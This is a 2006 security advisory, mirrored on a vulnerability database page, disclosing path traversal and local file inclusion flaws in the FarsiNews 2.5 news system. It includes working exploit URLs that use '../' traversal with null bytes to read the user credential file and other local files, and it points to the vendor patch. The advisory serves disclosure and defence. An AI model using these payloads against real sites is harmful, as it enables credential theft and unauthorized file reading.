Lucene search
K

farsiNews.txt

🗓️ 13 Feb 2006 00:00:00Reported by Hamid EbadiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

FarsiNews 2.5 Multiple Vulnerabilities. News Publishing System using Flat files. Vulnerable to local file inclusion and archive value manipulation

Code
`FarsiNews 2.5 Multiple Vulnerabilities  
  
FarsiNews is a News Publishing System That uses Flat  
files to store it`s Datas... Farsinews is a persian  
and improved translation of CuteNews, AjFork, CuteHack  
and CuteSQL...  
for more information about FarsiNews Publishing System  
visit http://www.farsinewsteam.com  
  
Credit:  
The information has been provided by Hamid Ebadi  
( Hamid Network Security Team) : [email protected].  
The original article can be found at :  
http://hamid.ir/security  
  
Vulnerable Systems:  
FarsiNews 2.5 and below (also tested on 2.1)  
  
1)  
in FarsiNews if you change the archive value :  
http://localhost/index.php?archive=hamid  
----------------------------[<error>]---------------------------  
Warning:  
file([PATH]/data/archives/hamid.news.arch.php):   
failed to open stream: No such file or directory in  
[PATH]\inc\shows.inc.php on line 642  
Warning:  
file([PATH]/data/archives/hamid.comments.arch.php):  
failed to open stream: No such file or directory in  
[PATH]\inc\shows.inc.php on line 686  
...[and many other error]  
----------------------------[</error>]---------------------------  
  
it means that shows.inc.php try to open   
'/archives/hamid.news.arch.php' (and also  
'hamid.comments.arch.php') to read it's data .  
we can change the archive value to  
'/../users.db.php%00' to see all username and password  
.  
Exploit :  
http://localhost/index.php?archive=/../users.db.php%00  
http://localhost/Farsi1/index.php?archive=/../[file-to-read]%00  
  
2)  
Local file inclusion:  
  
The following URL will cause local file inclusion:  
http://localhost/show_archives.php?template=/../../[local-file]%00  
  
farsinews team Patch:  
use FarsiNews 2.5.3  
and upgrade :  
show_news.php  
show_archives.php  
inc/tempeditor.mdu  
more info :  
http://forum.farsinewsteam.com/index.php?showtopic=71  
http://forum.farsinewsteam.com/index.php?showtopic=76  
  
  
Signature  
  
  
  
__________________________________________________  
Do You Yahoo!?  
Tired of spam? Yahoo! Mail has the best spam protection around   
http://mail.yahoo.com   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation